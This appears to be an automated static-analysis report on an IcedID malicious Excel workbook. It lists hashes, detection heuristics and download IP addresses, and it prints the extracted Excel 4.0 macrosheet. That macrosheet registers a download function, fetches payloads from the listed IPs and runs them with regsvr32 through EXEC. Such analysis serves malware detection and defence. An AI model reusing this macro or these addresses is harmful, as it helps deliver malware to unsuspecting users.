IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 9fce8bfc83261fbb…

MALICIOUS

Office (OOXML)

321.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: c50277ccf7d01c48521fbff73c880456 SHA-1: 4ebef0c3024134971fb8abf29846014084b6d891 SHA-256: 9fce8bfc83261fbb7304859a124dd29c08086b92b00dc20930875d722b87bf3b
290 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing Excel 4.0 macros, specifically utilizing the REGISTER, EXEC, and HALT functions which are known primitives for downloading and executing payloads. The macros construct a command to download a file from the provided URLs using 'regsvr32 ..\Kro.fis' and then execute it. This behavior is consistent with the IcedID malware family, which often uses macro-enabled documents as a delivery mechanism.

Heuristics 7

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://5.253.62.174/ In macro / runtime command snippet
    • http://185.117.73.74/In macro / runtime command snippet
    • http://185.234.247.7/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2478 bytes
SHA-256: 6e245ed31875428d6507e5d6ab05fdc2f92088898aef295ba79df3d2dc1d7222
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:H25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="10.5703125" style="2"/></cols><sheetData><row r="8" spans="6:8" x14ac:dyDescent="0.25"><c r="G8" s="2" t="str"><f>NOW()&amp;H8</f><v>44371,7021056713</v></c><c r="H8" s="2" t="s"><v>7</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="G12" s="2" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:8" x14ac:dyDescent="0.25"><c r="F13" s="2" t="s"><v>4</v></c><c r="G13" s="2" t="e"><f>Jerutyg(0,F13&amp;G8,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="2" t="s"><v>5</v></c><c r="G14" s="2" t="e"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="6:8" x14ac:dyDescent="0.25"><c r="F15" s="2" t="s"><v>6</v></c><c r="G15" s="2" t="e"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="19" spans="7:7" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="20" spans="7:7" x14ac:dyDescent="0.25"><c r="G20" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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